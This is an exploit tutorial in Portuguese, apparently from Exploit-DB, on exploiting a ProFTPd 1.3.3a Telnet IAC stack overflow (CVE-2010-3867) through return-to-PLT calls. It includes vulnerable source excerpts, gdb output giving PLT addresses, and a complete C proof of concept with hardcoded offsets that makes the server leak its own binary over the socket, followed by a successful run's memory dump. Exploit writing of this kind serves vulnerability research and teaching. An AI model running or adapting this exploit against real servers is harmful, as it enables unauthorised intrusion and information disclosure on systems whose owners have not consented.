Exploração de código remoto: uma técnica bastante eficaz

EDB-ID:

34727


Platform:

Multiple

Published:

2014-09-20

|=-------------------------------------------------------------------------------------=|

             █████▒██▓    ▄▄▄       █     █░ ██▓    ▓█████   ██████   ██████ 
           ▓██   ▒▓██▒   ▒████▄    ▓█░ █ ░█░▓██▒    ▓█   ▀ ▒██    ▒ ▒██    ▒ 
           ▒████ ░▒██░   ▒██  ▀█▄  ▒█░ █ ░█ ▒██░    ▒███   ░ ▓██▄   ░ ▓██▄   
           ░▓█▒  ░▒██░   ░██▄▄▄▄██ ░█░ █ ░█ ▒██░    ▒▓█  ▄   ▒   ██▒  ▒   ██▒
           ░▒█░   ░██████▒▓█   ▓██▒░░██▒██▓ ░██████▒░▒████▒▒██████▒▒▒██████▒▒
            ▒ ░   ░ ▒░▓  ░▒▒   ▓▒█░░ ▓░▒ ▒  ░ ▒░▓  ░░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░
            ░     ░ ░ ▒  ░ ▒   ▒▒ ░  ▒ ░ ░  ░ ░ ▒  ░ ░ ░  ░░ ░▒  ░ ░░ ░▒  ░ ░
            ░ ░     ░ ░    ░   ▒     ░   ░    ░ ░      ░   ░  ░  ░  ░  ░  ░  
                      ░  ░     ░  ░    ░        ░  ░   ░  ░      ░        ░  
                ██▒   █▓ ██▓ ▄████▄  ▄▄▄█████▓ ▒█████   ██▀███ ▓██   ██▓
              ▓██░   █▒▓██▒▒██▀ ▀█  ▓  ██▒ ▓▒▒██▒  ██▒▓██ ▒ ██▒▒██  ██▒
               ▓██  █▒░▒██▒▒▓█    ▄ ▒ ▓██░ ▒░▒██░  ██▒▓██ ░▄█ ▒ ▒██ ██░
                ▒██ █░░░██░▒▓▓▄ ▄██▒░ ▓██▓ ░ ▒██   ██░▒██▀▀█▄   ░ ▐██▓░
                 ▒▀█░  ░██░▒ ▓███▀ ░  ▒██▒ ░ ░ ████▓▒░░██▓ ▒██▒ ░ ██▒▓░
                 ░ ▐░  ░▓  ░ ░▒ ▒  ░  ▒ ░░   ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░  ██▒▒▒ 
                 ░ ░░   ▒ ░  ░  ▒       ░      ░ ▒ ▒░   ░▒ ░ ▒░▓██ ░▒░ 
                   ░░   ▒ ░░          ░      ░ ░ ░ ▒    ░░   ░ ▒ ▒ ░░  
                    ░   ░  ░ ░                   ░ ░     ░     ░ ░     
                   ░       ░                                   ░ ░     

|=-------------------------------------------------------------------------------------=|
|=-----------=[ Exploração de código remoto: uma técnica bastante eficaz ]=------------=|
|=-------------------------------------------------------------------------------------=|
|=-----------------------=[ Ighor Augusto - a.k.a F0rb1dd3n ]=-------------------------=|
|=-----------------------=[   f0rb1 [at] hotmail [dot] com  ]=-------------------------=|
|=-------------------------------------------------------------------------------------=|


Olá pessoal. Estou aqui para falar sobre um assunto já muito falado na internet. Porém, 
talvez minha abordagem ajude muitas pessoas. Espero que este artigo contribua muito para 
os conhecimentos do leitor. Falarei sobre remote exploitation usando um simples e clássico 
stack overflow como exemplo. Entretanto esta técnica pode se estender à outros tipos de 
explorações de vulnerabilidades, cabe ao leitor enxergar aplicação desta técnica em outras
situações.

Quando pensamos em exploração de vulnerabilidades, sempre nos deparamos com defesas anti-
exploitations como ASLR, NX/PaX, AAAs, stack cookie e etc. Cada uma dessas defesas
implementa conceitos e paradigmas diferentes. O que dificulta o sucesso de uma exploração
e muita das vezes um impecílio para quem quer escrever seu exploit. Driblar o stack cookie
pode parecer uma coisa meio dificil no inicio, porém uma técnica simples, descrita por Adam
Zabrocki (a.k.a pi3) no seu artigo da Phrack 67, é muito facil de ser implementada e pode
ser bastante eficaz em diversos ambientes: trata-se de um simples bruteforce byte a byte.
Assim é possivel descobrir o valor do stack cannary e continuar a exploração. Apesar de 
tal técnica funcionar em um ambiente restrito (chamadas fork() que não são seguidas de
execve()), há outras maneiras de driblar o cookie (pointer dereference é uma delas, porém
a exploração deixa de ser stack overflow e passa a ser pointer dereference). Não abordarei 
o bypass de stack cookie nesse paper, porém fica a dica do artigo do pi3 e lá tem outras
referências para tal.

Talvez uma das maiores dificuldades em explorar um software seja o ALSR. Geralmente é 
utilizado Return Oriented Programming para passar por esse tipo de defesa, porém há uma 
desvantagem: ROP utiliza dos bínários do proprio software explorado para poder encadear
as instruções a serem executadas, ou seja, não é injetado código, mas sim reaproveitado
o código do software alvo. A técnica aqui descrita, utiliza de programação orientada ao
retorno para efetuar syscalls direto da PLT e injetar um shellcode. Assim estaremos aptos
a burlar facilmente ASLR assim como outras defesas anti-exploitation, e injetando qualquer
tipo de shellcode pré-programado. Bom chega de blá blá blá e vamos à prática!!!

Vou usar como exemplo uma vulnerabilidade no ProFTPd (CVE-2010-3867) descoberta por TJ 
Sounders. A técnica que vou usar, é proposta por Nikolaos Rangos (a.k.a Kingcope) que 
publicou um exploit em Perl desse mesmo bug implementando a técnica, que é facilmente
achado no exploit-db.com. Utilizarei o ProFTPd 1.3.3a, rodando em um Ubuntu 10.04,
kernel 2.6.35-22-generic. 

Analizaremos a falha - segue abaixo um trecho adaptado por mim do artigo Scraps of 
notes on remote stack overflow exploitation do pi3 na Phrack 67:

O bug ocorre quando é feito o parsing dos caracteres TELNET_IAC 
devido a um erro de calculo no final do loop de leitura. O problema ocorre na função 
pr_netio_telnet_gets() do arquivo src/netio.c:

-------------------------------------------------------------------------------------------

char *pr_netio_telnet_gets(char *buf, size_t buflen,
	    pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
	  char *bp = buf;

	...

  [L1]  while (buflen) {

  ...

	      toread = pr_netio_read(in_nstrm, pbuf->buf,
	      (buflen < pbuf->buflen ?  buflen : pbuf->buflen), 1);
  ...

  [L2]    while (buflen && toread > 0 && *pbuf->current != '\n' 
          && toread--) {
  ...
	          if (handle_iac == TRUE) {
	            switch (telnet_mode) {
	              case TELNET_IAC:
            	    switch (cp) {

  ...
  ...

            	      default:

  ...

                    	*bp++ = TELNET_IAC;
  [L3]                  buflen--;

            	        telnet_mode = 0;
            	        break;
                	}
  ...
	            }
	          }
          
              *bp++ = cp;
  [L4]        buflen--;
	        }
  ...
  ...
	        *bp = '\0';
	        return buf;
        }
    }

--------------------------------------------------------------------------------------------

O loop (em L2) lê e faz o parse dos bytes recebidos, ao mesmo tempo é decrementado bufflen
(o tamanho do buffer (em L4)). O problema ocorre quando os caracteres TELNET_IAC estão
seguidos de 0xFF. Quando esse caractere ocorre no parsing de dados bufflen é decrementado 
(em L3). Então o resultado dessa situação é que o bufflen será decrementado em 2 bytes, e 
isto é perfeito para burlar uma verificação inapropriada (em L1). Portanto quando 
bufflen == 1 se o caractere TELNET_IAC for 0xFF então bufflen = 1 - 2 = -1. Como resultado 
o while(bufflen) (em L1) continuará e a copia de bytes continua até o final da string 
(quando o caractere "\n" é encontrado). A função pr_netio_telnet_gets() é chamada pela 
função pr_cmd_read() no arquivo src/main.c:

--------------------------------------------------------------------------------------------

int pr_cmd_read(cmd_rec **res) {
	  static long cmd_bufsz = -1;
	  char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};

	...

	  while (TRUE) {

	...

	    if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
	        session.c->outstrm) == NULL) {

	...

	  }

	...
	...

	  return 0;
	}

--------------------------------------------------------------------------------------------

Neste caso o argumento para a função vulneravel é um buffer local na pilha de execução, 
caracterizando uma vulnerabilidade classica de stack overflow. 

Nesse trecho do artigo do pi3, ele explica o porque ocorre a falha. Então sabemos que temos
que conectar no ProFTPd e passar o byte 0xFF na posição correta do buffer para que ocorra
o decremento duplo e faremos o bypass da verificação do loop, ativando a vulnerabilidade.

Sabendo disso, podemos partir para a exploração! Para, conseguirmos achar os offsets de 
gadgets (para ROP), e das chamada das funções na PLT, temos que dar um jeito de ler os
binários do servidor a ser explorado. Como? Aqui começa o pulo do gato, então sugiro prestar
bastante atenção no que vem a seguir.

Se podemos tomar controle do EIP em uma exploração de stack overflow classico, então podemos
"mandar" o EIP para o endereço de uma syscall, ou seja, temos que retornar para a função de
sistema. Aqui implementamos return-to-plt ou return-to-function. Mas qual função retornar?
Alguma função que nos envie os bytes lidos do servidor. Então nada melhor que utilizar a 
syscall write(2) para efetuar essa funçao, olhem só:

--------------------------------------------------------------------------------------------

WRITE(2)                  Linux Programmer's Manual                 WRITE(2)
NAME         top

       write - write to a file descriptor
SYNOPSIS         top

       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);
DESCRIPTION         top

       write() writes up to count bytes from the buffer pointed buf to the
       file referred to by the file descriptor fd.

       The number of bytes written may be less than count if, for example,
       there is insufficient space on the underlying physical medium, or the
       RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the
       call was interrupted by a signal handler after having written less
       than count bytes.  (See also pipe(7).)

       For a seekable file (i.e., one to which lseek(2) may be applied, for
       example, a regular file) writing takes place at the current file
       offset, and the file offset is incremented by the number of bytes
       actually written.  If the file was open(2)ed with O_APPEND, the file
       offset is first set to the end of the file before writing.  The
       adjustment of the file offset and the write operation are performed
       as an atomic step.

       POSIX requires that a read(2) which can be proved to occur after a
       write() has returned returns the new data.  Note that not all
       filesystems are POSIX conforming.
RETURN VALUE         top

       On success, the number of bytes written is returned (zero indicates
       nothing was written).  On error, -1 is returned, and errno is set
       appropriately.

       If count is zero and fd refers to a regular file, then write() may
       return a failure status if one of the errors below is detected.  If
       no errors are detected, 0 will be returned without causing any other
       effect.  If count is zero and fd refers to a file other than a
       regular file, the results are not specified.

       ...
       ...

----------------------------------------------------------------------------------------------

Então write(2) escreve dados de um buffer em um file descriptor. E o que é um socket no linux?
Nada mais nada menos que um file descriptor. Então com essa função podemos escrever bytes de 
um buffer em um socket, como haverá conexão aberta com esse socket, os bytes escritos nele
serão enviados para a máquina conectada. Resumindo, com write(2) podemos enviar bytes de um
buffer em uma conexão de socket. Então vejam como ficará inicialmente nosso buffer para chamar
write(2):

buffer: 

->	Bytes 0x00 simulando uma conexão TELNET_IAC que nao faz nada (número de bytes a definir)
->	Byte 0xFF (aqui ativamos a vulnerabilidade)
->  Junk (bytes aleatórios para preencher o buffer até sobrescrever o endereço de retorno)
->  Endereço da chamada write(2)
->  Crash (bytes para parar a execução após a chamada write(2))
->  File descriptor para write(2) - Será o descritor de arquivo do socket conectado
->  Endereço do buffer onde write(2) irá ler os bytes a serem escritos no socket
->  Tamanho do buffer a ser lido
->  \x0a\x0d - finalizador de string ("\n")

esquematicamente fica assim:

\xff\x00\x00\x00 --------> Ativando a vulnerabilidade
\x41\x41\x41\x41 -----|
...                   |--> \x41 = A (na tabela ASCII)
\x41\x41\x41\x41 -----|
Endereço de write
\xcc\xcc\xcc\xcc --------> \xcc = breakpoint (pára a execução)
\x01\x00\x00\x00 --------> file descriptor do socket no ProFTPd
Endereço de write -------> Usarei o endereço da propria chamada de write como ponto de partida
\xff\xff\x0f\x00 --------> número de bytes a serem lido (0xfffff bytes)
\x0a\x0d ----------------> finalizador de string

Como estamos utilizando a arquitetura x86, então os bytes são tratados em little endian, por
isso estão "invertidos". Como a região de JUNK não servirá para nada além de preencher o
buffer, coloquei \x41 (equivalente a letra A na tabela ASCII), pois é um valor neutro que não
fará diferença alguma. Os bytes logo despois a chamada write(2), servem para parar a execução.
Pois após executarmos a chamada write(2) o próximo endereço será a instrução após o retorno, 
como no nosso buffer utilizaremos as proximas regiões e para evitarmos problemas de execução, 
é colocado valor de breakpoint para que a conexão trave e seja encerrada. O file descriptor
do socket utilizado para a conexão é 01, que é facilmente descoberto analizando o processo
do ProFTPd. Existem ferramentas nativas do linux que mostram os file descriptors usados em um
processo, e debuggando, também, é outro caminho. Assim como o tamanho do offset antes de 0xFF
(para ativar a vulnerabilidade) e o tamanho do JUNK para preencher o buffer até sobrescrever
o endereço de retorno, são coisas faceis de serem determinadas atravéz de debug do processo.
Então deixarei essas coisinhas a cargo do leitor, para que possa exercitar suas habilidades 
de debugging, que é excencial para uma exploração de sucesso. Utilizarei o endereço da chamada
write(2) como ponto de partida para leitura dos bytes, mas poderia ser qualquer endereço de
memória onde reside os binários do ProFTPd (quanto mais próximo do início melhor!) Os bytes 
\xff\xff\x0f\x00 mostram o tamanho do buffer a ser lido, pode ser qualquer valor, mas quanto 
maior melhor, mais bytes serão lidos. Esse tamanho é o tamanho necessário para ler todos os 
bytes dos binários do ProFTPd. Mas e o endereço de write(2)? Pode ser facilmente encontrado 
com objdump e outras ferramentas de disassembly, porém uma listagem de funções com o gdb já 
basta:

Máquina a ser atacada: -------------------------------------------------------------------------------

root@ubuntu:/home/neo# ps aux | grep proftpd
proftpd   1283  0.0  0.0   8360  1712 ?        Ss   Sep11   0:00 proftpd: (accepting connections)
root      5047  0.0  0.0   4172   752 pts/0    S+   08:49   0:00 grep --color=auto proftpd
root@ubuntu:/home/neo# gdb -q
(gdb) attach 1283
Attaching to process 1283
Reading symbols from /usr/sbin/proftpd...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libcrypt.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libcrypt.so.1
Reading symbols from /lib/i386-linux-gnu/libz.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libz.so.1
Reading symbols from /lib/libacl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libacl.so.1
Reading symbols from /lib/libattr.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libattr.so.1
Reading symbols from /lib/libssl.so.0.9.8...(no debugging symbols found)...done.
Loaded symbols for /lib/libssl.so.0.9.8
Reading symbols from /lib/libcrypto.so.0.9.8...(no debugging symbols found)...done.
Loaded symbols for /lib/libcrypto.so.0.9.8
Reading symbols from /lib/libcap.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libcap.so.2
Reading symbols from /lib/libpam.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/libpam.so.0
Reading symbols from /lib/i386-linux-gnu/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libdl.so.2
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/i386-linux-gnu/libnss_files.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_files.so.2
Reading symbols from /usr/lib/proftpd/mod_ctrls_admin.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ctrls_admin.so
Reading symbols from /usr/lib/proftpd/mod_tls.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_tls.so
Reading symbols from /usr/lib/proftpd/mod_radius.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_radius.so
Reading symbols from /usr/lib/proftpd/mod_quotatab.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab.so
Reading symbols from /usr/lib/proftpd/mod_quotatab_file.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab_file.so
Reading symbols from /usr/lib/proftpd/mod_quotatab_radius.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab_radius.so
Reading symbols from /usr/lib/proftpd/mod_wrap.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap.so
Reading symbols from /lib/libwrap.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/libwrap.so.0
Reading symbols from /lib/i386-linux-gnu/libnsl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnsl.so.1
Reading symbols from /usr/lib/proftpd/mod_rewrite.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_rewrite.so
Reading symbols from /usr/lib/proftpd/mod_load.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_load.so
Reading symbols from /usr/lib/proftpd/mod_ban.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ban.so
Reading symbols from /usr/lib/proftpd/mod_wrap2.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap2.so
Reading symbols from /usr/lib/proftpd/mod_wrap2_file.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap2_file.so
Reading symbols from /usr/lib/proftpd/mod_dynmasq.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_dynmasq.so
Reading symbols from /usr/lib/proftpd/mod_vroot.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_vroot.so
Reading symbols from /usr/lib/proftpd/mod_exec.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_exec.so
Reading symbols from /usr/lib/proftpd/mod_shaper.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_shaper.so
Reading symbols from /usr/lib/proftpd/mod_ratio.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ratio.so
Reading symbols from /usr/lib/proftpd/mod_site_misc.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_site_misc.so
Reading symbols from /usr/lib/proftpd/mod_sftp.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_sftp.so
Reading symbols from /usr/lib/proftpd/mod_sftp_pam.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_sftp_pam.so
Reading symbols from /usr/lib/proftpd/mod_facl.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_facl.so
Reading symbols from /usr/lib/proftpd/mod_unique_id.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_unique_id.so
Reading symbols from /usr/lib/proftpd/mod_ifsession.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ifsession.so
Reading symbols from /lib/i386-linux-gnu/libnss_compat.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_compat.so.2
Reading symbols from /lib/i386-linux-gnu/libnss_nis.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_nis.so.2
0x00cf9416 in __kernel_vsyscall ()
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08052ff8  _init
0x08053038  fileno
0x08053038  fileno@plt
0x08053048  __errno_location
0x08053048  __errno_location@plt
0x08053058  statvfs64
0x08053058  statvfs64@plt
0x08053068  sigemptyset
0x08053068  sigemptyset@plt
0x08053078  sprintf
0x08053078  sprintf@plt
0x08053088  srand
0x08053088  srand@plt
0x08053098  pam_start
0x08053098  pam_start@plt
0x080530a8  connect
0x080530a8  connect@plt
0x080530b8  setgroups
0x080530b8  setgroups@plt
0x080530c8  pam_close_session
0x080530c8  pam_close_session@plt
0x080530d8  getpid
0x080530d8  getpid@plt
0x080530e8  mkdir
0x080530e8  mkdir@plt
0x080530f8  dirfd
0x080530f8  dirfd@plt
0x08053108  strerror
0x08053108  strerror@plt
0x08053118  creat64
0x08053118  creat64@plt
0x08053128  getsockname
0x08053128  getsockname@plt
0x08053138  regfree
0x08053138  regfree@plt
0x08053148  setrlimit64
0x08053148  setrlimit64@plt
0x08053158  strcoll
0x08053158  strcoll@plt
0x08053168  sysconf
0x08053168  sysconf@plt
0x08053178  qsort
0x08053178  qsort@plt
0x08053188  freeaddrinfo
0x08053188  freeaddrinfo@plt
0x08053198  shutdown
0x08053198  shutdown@plt
0x080531a8  pam_strerror
0x080531a8  pam_strerror@plt
0x080531b8  open64
0x080531b8  open64@plt
0x080531c8  signal
0x080531c8  signal@plt
0x080531d8  __gmon_start__
0x080531d8  __gmon_start__@plt
0x080531e8  realloc
0x080531e8  realloc@plt
0x080531f8  siginterrupt
0x080531f8  siginterrupt@plt
0x08053208  iconv_open
0x08053208  iconv_open@plt
0x08053218  rewind
0x08053218  rewind@plt
0x08053228  unsetenv
0x08053228  unsetenv@plt
0x08053238  __xstat64
0x08053238  __xstat64@plt
0x08053248  localtime
0x08053248  localtime@plt
0x08053258  getgrnam
0x08053258  getgrnam@plt
0x08053268  strtod
0x08053268  strtod@plt
0x08053278  strchr
0x08053278  strchr@plt
0x08053288  vsnprintf
0x08053288  vsnprintf@plt
0x08053298  getenv
0x08053298  getenv@plt
0x080532a8  calloc
0x080532a8  calloc@plt
0x080532b8  strncpy
0x080532b8  strncpy@plt
0x080532c8  fchown
0x080532c8  fchown@plt
0x080532d8  write
0x080532d8  write@plt  <--------------- endereço de write(2) na PLT (0x080532d8)
0x080532e8  tzset
0x080532e8  tzset@plt
0x080532f8  fgetpwent
0x080532f8  fgetpwent@plt
0x08053308  cap_set_proc
0x08053308  cap_set_proc@plt
0x08053318  listen
0x08053318  listen@plt
0x08053328  dlclose
0x08053328  dlclose@plt
...

...
...

-------------------------------------------------------------------------------------------------

Então sabemos que o endereço para write(2) é 0x080532d8, debugando o software encontra-se que o 
alinhamento para ativar a vulnerabilidade é de 4101 bytes e o numero de bytes para Junk é 34.
Então já temos o suficiente para escrever uma prova de conceito para chamada write(2). Olhe só
nosso código:

-------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define OFFSET 4101
#define PADDING 34
#define WRITE 0x080532d8

char write_fd[]="\x01\x00\x00\x00";
char write_len[]="\xff\xff\x0f\x00";

char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
            "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
            "\x41\x41\x41\x41";

// A function to display an error message and then exit
void fatal(char *message) {
   char error_message[100];

   strcpy(error_message, "[!!] Fatal Error ");
   strncat(error_message, message, 83);
   perror(error_message);
   exit(-1);
}

// dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length) {
   unsigned char byte;
   unsigned int i, j;
   for(i=0; i < length; i++) {
      byte = data_buffer[i];
      printf("%02x ", data_buffer[i]);  // display byte in hex
      if(((i%16)==15) || (i==length-1)) {
         for(j=0; j < 15-(i%16); j++)
            printf("   ");
         printf("| ");
         for(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line
            byte = data_buffer[j];
            if((byte > 31) && (byte < 127)) // outside printable char range
               printf("%c", byte);
            else
               printf(".");
         }
         printf("\n"); // end of the dump line (each line 16 bytes)
      } // end if
   } // end for
   printf("\n");
}

int main(int argc, char *argv[]) {
   int sockfd;
   struct hostent *host_info;
   struct sockaddr_in target_addr;
   unsigned char buffer[OFFSET+1+PADDING+22];
   unsigned char read_buffer[0xfffff];

   if(argc < 2) {
      printf("\n\t Showcase Telnet IAC remote call write(2)\n");
      printf("\t Writen by: F0rb1dd3n\n");
      printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
      exit(1);
   }

   if((host_info = gethostbyname(argv[1])) == NULL)
      fatal("looking up hostname");

   target_addr.sin_family = AF_INET;
   target_addr.sin_port = htons(21);   
   target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
   memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct

   printf("\n\t Showcase Telnet IAC remote call write(2)\n");
   printf("\t Writen by: F0rb1dd3n\n");
   printf("\n\t Target: %s\n", argv[1]);

   printf("\n\t Trying write(2) offset: 0x%08x", WRITE);

   bzero(buffer, OFFSET+1+PADDING+22);                                // zero out the buffer
   memcpy(buffer+OFFSET, "\xff", 1);                                  // triggering the vulnerability
   memcpy(buffer+OFFSET+1, junk, strlen(junk));                       // junk
   *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE;                     // write address
   memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4);          // crash dummy
   memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd));     // fd for write
   *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE;                  // buffer for write
   memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len));  // lenght for write
   memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2);                 // end of buffer

   if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      fatal("in socket");

   if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
      fatal("connecting to target server");

   write(sockfd, buffer, OFFSET+1+PADDING+22);
   bzero(read_buffer, sizeof(read_buffer));

   if(read(sockfd, read_buffer, 0xfffff) != 0) {
      printf("\n\t [+] Success on write(2)\n\n");
      close(sockfd);

      dump(read_buffer, 0xffff);
    }
}

------------------------------------------------------------------------------------------------

Nosso código é simples e eficaz. O que ele faz? Ele cria um socket, conecta no ProFTPd, cria um
buffer como nós previmos acima, envia o buffer atravéz de write(), nosso buffer irá explorar a
vulnerabilidade e executar a syscall write(2), então os binários do servidor serão retornados
para nós, portanto iremos ler os bytes retornados no socket com read() e colocamos eles em 
read_buffer, em seguida, se a operação foi um sucesso, imprimimos os bytes na tela com a função
escrita por mim dump(). Vejam a saída do nosso programa:

Máquina atacante: -------------------------------------------------------------------------------

root@kali:~/Studies# gcc proftpd-call-write.c -o proftpd-call-write
root@kali:~/Studies# ./proftpd-call-write 

	 Showcase Telnet IAC remote call write(2)
	 Writen by: F0rb1dd3n

	 Usage: ./proftpd-call-write <target IP> <your IP>

root@kali:~/Studies# ./proftpd-call-write 192.168.25.18

	 Showcase Telnet IAC remote call write(2)
	 Writen by: F0rb1dd3n

	 Target: 192.168.25.18

	 Trying write(2) offset: 0x080532d8
	 [+] Success on write(2)

32 32 30 20 50 72 6f 46 54 50 44 20 31 2e 33 2e | 220 ProFTPD 1.3.
33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 | 3a Server (Debia
6e 29 20 5b 3a 3a 66 66 66 66 3a 31 39 32 2e 31 | n) [::ffff:192.1
36 38 2e 32 35 2e 31 38 5d 0d 0a ff 25 a4 7e 0d | 68.25.18]...%.~.
08 68 50 01 00 00 e9 40 fd ff ff ff 25 a8 7e 0d | .hP....@....%.~.
08 68 58 01 00 00 e9 30 fd ff ff ff 25 ac 7e 0d | .hX....0....%.~.
08 68 60 01 00 00 e9 20 fd ff ff ff 25 b0 7e 0d | .h`.... ....%.~.
08 68 68 01 00 00 e9 10 fd ff ff ff 25 b4 7e 0d | .hh.........%.~.
08 68 70 01 00 00 e9 00 fd ff ff ff 25 b8 7e 0d | .hp.........%.~.
08 68 78 01 00 00 e9 f0 fc ff ff ff 25 bc 7e 0d | .hx.........%.~.
08 68 80 01 00 00 e9 e0 fc ff ff ff 25 c0 7e 0d | .h..........%.~.
08 68 88 01 00 00 e9 d0 fc ff ff ff 25 c4 7e 0d | .h..........%.~.
08 68 90 01 00 00 e9 c0 fc ff ff ff 25 c8 7e 0d | .h..........%.~.
08 68 98 01 00 00 e9 b0 fc ff ff ff 25 cc 7e 0d | .h..........%.~.
08 68 a0 01 00 00 e9 a0 fc ff ff ff 25 d0 7e 0d | .h..........%.~.
08 68 a8 01 00 00 e9 90 fc ff ff ff 25 d4 7e 0d | .h..........%.~.
08 68 b0 01 00 00 e9 80 fc ff ff ff 25 d8 7e 0d | .h..........%.~.
08 68 b8 01 00 00 e9 70 fc ff ff ff 25 dc 7e 0d | .h.....p....%.~.
08 68 c0 01 00 00 e9 60 fc ff ff ff 25 e0 7e 0d | .h.....`....%.~.
08 68 c8 01 00 00 e9 50 fc ff ff ff 25 e4 7e 0d | .h.....P....%.~.
08 68 d0 01 00 00 e9 40 fc ff ff ff 25 e8 7e 0d | .h.....@....%.~.
08 68 d8 01 00 00 e9 30 fc ff ff ff 25 ec 7e 0d | .h.....0....%.~.
08 68 e0 01 00 00 e9 20 fc ff ff ff 25 f0 7e 0d | .h..... ....%.~.
08 68 e8 01 00 00 e9 10 fc ff ff ff 25 f4 7e 0d | .h..........%.~.
08 68 f0 01 00 00 e9 00 fc ff ff ff 25 f8 7e 0d | .h..........%.~.
08 68 f8 01 00 00 e9 f0 fb ff ff ff 25 fc 7e 0d | .h..........%.~.
08 68 00 02 00 00 e9 e0 fb ff ff ff 25 00 7f 0d | .h..........%...
08 68 08 02 00 00 e9 d0 fb ff ff ff 25 04 7f 0d | .h..........%...
08 68 10 02 00 00 e9 c0 fb ff ff ff 25 08 7f 0d | .h..........%...
08 68 18 02 00 00 e9 b0 fb ff ff ff 25 0c 7f 0d | .h..........%...
08 68 20 02 00 00 e9 a0 fb ff ff ff 25 10 7f 0d | .h .........%...
08 68 28 02 00 00 e9 90 fb ff ff ff 25 14 7f 0d | .h(.........%...
08 68 30 02 00 00 e9 80 fb ff ff ff 25 18 7f 0d | .h0.........%...
08 68 38 02 00 00 e9 70 fb ff ff ff 25 1c 7f 0d | .h8....p....%...
08 68 40 02 00 00 e9 60 fb ff ff ff 25 20 7f 0d | .h@....`....% ..
08 68 48 02 00 00 e9 50 fb ff ff ff 25 24 7f 0d | .hH....P....%$..
08 68 50 02 00 00 e9 40 fb ff ff ff 25 28 7f 0d | .hP....@....%(..
08 68 58 02 00 00 e9 30 fb ff ff ff 25 2c 7f 0d | .hX....0....%,..
08 68 60 02 00 00 e9 20 fb ff ff ff 25 30 7f 0d | .h`.... ....%0..
08 68 68 02 00 00 e9 10 fb ff ff ff 25 34 7f 0d | .hh.........%4..
08 68 70 02 00 00 e9 00 fb ff ff ff 25 38 7f 0d | .hp.........%8..
